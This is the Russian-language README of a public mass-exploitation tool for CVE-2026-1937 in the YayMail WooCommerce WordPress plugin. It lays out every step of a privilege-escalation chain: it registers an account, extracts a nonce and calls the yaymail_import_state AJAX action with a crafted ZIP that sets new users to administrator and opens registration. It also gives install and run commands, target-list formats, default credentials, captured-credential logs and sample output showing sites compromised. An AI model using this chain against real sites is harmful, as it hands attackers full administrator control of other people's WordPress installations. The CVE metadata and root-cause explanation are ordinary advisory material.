
YayMail <= 4.3.2 - Отсутствие проверки авторизации: аутентифицированные пользователи (Shop Manager+) могут произвольно обновлять параметры через AJAX-действие 'yaymail_import_state'
Описание:
Плагин YayMail – WooCommerce Email Customizer для WordPress уязвим к несанкционированной модификации данных, ведущей к повышению привилегий, во всех версиях вплоть до 4.3.2 включительно. AJAX-действие yaymail_import_state зарегистрировано без какой-либо проверки прав на стороне сервера, что позволяет аутентифицированным злоумышленникам с доступом уровня Shop Manager и выше вызывать его без ограничений. Загружая специально сформированный ZIP-файл импорта, злоумышленник может незаметно перезаписать произвольные опции сайта WordPress — включая установку роли новых пользователей по умолчанию в значение administrator и включение открытой публичной регистрации. После внедрения этих опций любой посетитель сможет самостоятельно зарегистрироваться на сайте и получить полноценную учётную запись администратора WordPress, что приведёт к полной компрометации сайта.
Это цепочка массовой эксплуатации Proof-of-Concept (PoC), нацеленная на установки WordPress + WooCommerce, работающие с уязвимой версией плагина YayMail. Инструмент реализует полную сквозную атаку: регистрация в WooCommerce → вход в систему → извлечение nonce YayMail → эксплуатация yaymail_import_state → проверка прав администратора.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — специально сформированный payload для импорта (обязательно)pip install requests urllib3 rich
Или через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
Инструмент использует полностью интерактивный терминальный интерфейс на базе Rich.
Создайте обычный текстовый файл (по умолчанию: list.txt) — по одной цели в строке:
https://target1.com
https://target2.com
http://target3.com
target4.com
Цели без
http://илиhttps://автоматически получают префиксhttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipДля эксплуатации требуется специально сформированный ZIP-файл импорта YayMail, который при импорте переопределяет следующие опции WordPress:
| Опция WordPress | Внедряемое значение |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ Инструмент откажется запускаться, если
yaymail_backup.zipотсутствует в рабочем каталоге.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Корневая причина:
Обработчик yaymail_import_state не вызывает current_user_can() или любую аналогичную проверку прав перед обработкой импорта. Любой пользователь с ролью shop_manager (или выше) может свободно вызывать это действие и перезаписывать произвольные записи таблицы wp_options через механизм ZIP-импорта.
Инструмент автоматически проверяет следующие пути на наличие форм регистрации и входа:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Файл | Описание |
|---|---|
reg.txt | Все успешные регистрации WooCommerce с учётными данными |
Nx_admin.txt | Все подтверждённые повышения привилегий до администратора |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
Автор: Nxploited (Khaled Alenazi)
ДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЯЕТСЯ ИСКЛЮЧИТЕЛЬНО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ И ДЛЯ АВТОРИЗОВАННЫХ ИССЛЕДОВАНИЙ В ОБЛАСТИ БЕЗОПАСНОСТИ.
Автор, Nxploited (Khaled Alenazi), и все участники этого проекта не одобряют, не поддерживают и не несут никакой ответственности за неправомерное использование данного инструмента или любой ущерб, причинённый применением этого ПО в отношении систем, на тестирование которых у вас нет явного письменного разрешения.
- ✅ Разрешено: использование на системах, которыми вы владеете или на тестирование которых получили явное письменное разрешение.
- ❌ Запрещено: использование против любых систем без предварительного явного письменного разрешения владельца системы.
Несанкционированный доступ к компьютерным системам является незаконным и наказывается в соответствии с применимым законодательством, включая, помимо прочего, Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о неправомерном использовании компьютеров (CMA) и эквивалентные законы по всему миру.
Используя данный инструмент, вы принимаете на себя полную и исключительную ответственность за свои действия и подтверждаете, что обладаете законным правом на тестирование целевых систем.
Автор не несёт никакой ответственности за любые прямые, косвенные, случайные или последующие убытки, возникшие в результате использования или неправомерного использования данного ПО.
© 2026 Nxploited (Khaled Alenazi) — Только для авторизованных исследований в области безопасности.
| Поле | Описание |
|---|
| CVE ID | CVE-2026-1937 |
| Степень опасности | ВЫСОКАЯ — оценка CVSS v3.1: 7.2 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Исследователь | Daniel Basta (whizzu) — NASK PIB |
| Дата публикации | 17 февраля 2026 г. |
| Последнее обновление | 27 марта 2026 г. |
| Затронутое ПО | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| Затронутые версии | Все версии вплоть до 4.3.2 включительно |
| Тип уязвимости | Отсутствие авторизации → Несанкционированное произвольное обновление опций → Повышение привилегий |
| Требуется аутентификация | Да — уровень Shop Manager и выше |
| CWE | CWE-862: отсутствие авторизации |
| Статус | Цвет | Значение |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 Зелёный | Полная цепочка успешна — администратор подтверждён |
EXPLOITED (ADMIN) | 🟢 Зелёный | Зарегистрированный пользователь уже был администратором |
PARTIAL | 🟡 Жёлтый | Импорт YayMail выполнен, но доступ администратора не подтверждён |
REGISTERED | 🟡 Жёлтый | Регистрация в WooCommerce выполнена успешно |
LOGIN-WP | 🔵 Голубой | Выполнен вход через /wp-login.php |
LOGIN-WOO | 🔵 Голубой | Выполнен вход через форму WooCommerce |
NONCE-FOUND | 🟣 Пурпурный | Nonce YayMail успешно извлечён |
NO-REGISTER | ⚫ Тёмный | Форма регистрации WooCommerce не найдена |
LOGIN-FAILED | ⚫ Тёмный | Не удалось установить аутентифицированную сессию |
NONCE-NOT-FOUND | ⚫ Тёмный | Страница настроек YayMail недоступна или nonce отсутствует |
EXPLOIT-FAILED | 🔴 Красный | Вызов yaymail_import_state не вернул успешный результат |
TIMEOUT | ⚫ Тёмный | Тайм-аут HTTP |
DEAD | ⚫ Тёмный | Соединение отклонено / ресурс недоступен |
ERROR | 🔴 Красный | Непредвиденное исключение |